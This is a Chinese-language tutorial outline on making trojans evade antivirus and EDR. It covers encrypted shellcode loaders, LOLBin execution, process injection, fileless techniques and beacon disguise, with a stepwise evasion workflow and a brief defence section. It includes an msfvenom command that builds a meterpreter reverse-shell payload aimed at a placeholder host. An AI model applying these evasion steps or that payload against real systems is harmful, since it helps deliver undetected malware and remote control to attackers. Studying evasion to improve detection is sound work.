免杀基础:木马免杀思路与对抗

免杀基础:杀软/EDR 检测原理、静态与行为免杀思路(编码/混淆/加载器/白名单/进程注入)、工具与检测对抗。

写在前面:合法学习边界

免杀技术仅用于授权测试与安全研究。对真实系统投放免杀木马可能触犯法律。

一、原理:杀软在查什么

1
2
3
静态查杀:文件特征(特征码/哈希/字符串)
行为查杀:运行时的进程、注入、外联行为(EDR 更强)
云查杀:多引擎(VT)交叉识别

免杀 = 让木马“看起来不像恶意 + 跑起来不像恶意”。

二、影响

1
2
免杀决定“打不打得进去”
静态过 + 行为过 + 上线稳,才算成功

三、免杀思路(由浅到深)

1. 特征混淆(过静态)

1
2
3
改特征字符串、哈希
加壳/压缩(UPX 等,已过时)
加密 shellcode(AES/XOR)

2. 编码与分离(过静态)

1
2
3
4
# shellcode 加密后内置,运行时解密执行
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=x \
  -f raw -o payload.bin
# 用加载器在内存中解密执行,不落地特征文件

3. 白名单程序加载(过执行链)

1
2
利用系统自带工具加载:rundll32、mshta、powershell、cscript
或签名的白文件(如可执行 EXE/DLL 侧加载)

4. 进程注入 / 内存马(过落地检测)

1
2
注入白进程内存运行,不落地文件
无文件攻击(PowerShell 内存执行)

5. 行为免杀(过 EDR)

1
2
3
降低回连频率、伪造合法流量
避免敏感 API(OpenProcess/WriteProcessMemory)被特征化
分阶段回连、域名前置

四、常见工具

1
2
3
4
Cobalt Strike / MSF 的 shellcode 与加载器
Shellter、Veil、MSFvenom 加密
C#/Go/Rust 写的自定义加载器
(注:免杀是持续对抗,公开工具时效短)

五、操作步骤

1
2
3
4
5
6
第 1 步:生成/准备 shellcode(CS/MSF)
第 2 步:加密 shellcode + 写加载器(内存执行)
第 3 步:静态检测(VT/本地杀软)看报毒
第 4 步:动态检测(跑起来看 EDR 行为)
第 5 步:迭代混淆直到通过(授权内)
第 6 步:上线后仍要行为免杀

六、检测与防御(对立面)

1
2
3
4
EDR:行为检测(进程注入/敏感 API/回连)
内存扫描(检测内存中的 shellcode)
应用白名单(禁止未签名程序运行)
威胁狩猎(异常进程链)

七、小结

免杀 = “过静态 + 过行为”。路线从混淆特征 → 加密分离 → 白名单加载 → 进程注入 → 行为伪装,逐层深入。它是与杀软/EDR 的持续对抗,没有一劳永逸。防守端靠 EDR 行为检测、内存扫描和应用白名单来对抗。

再次强调:仅授权内研究使用。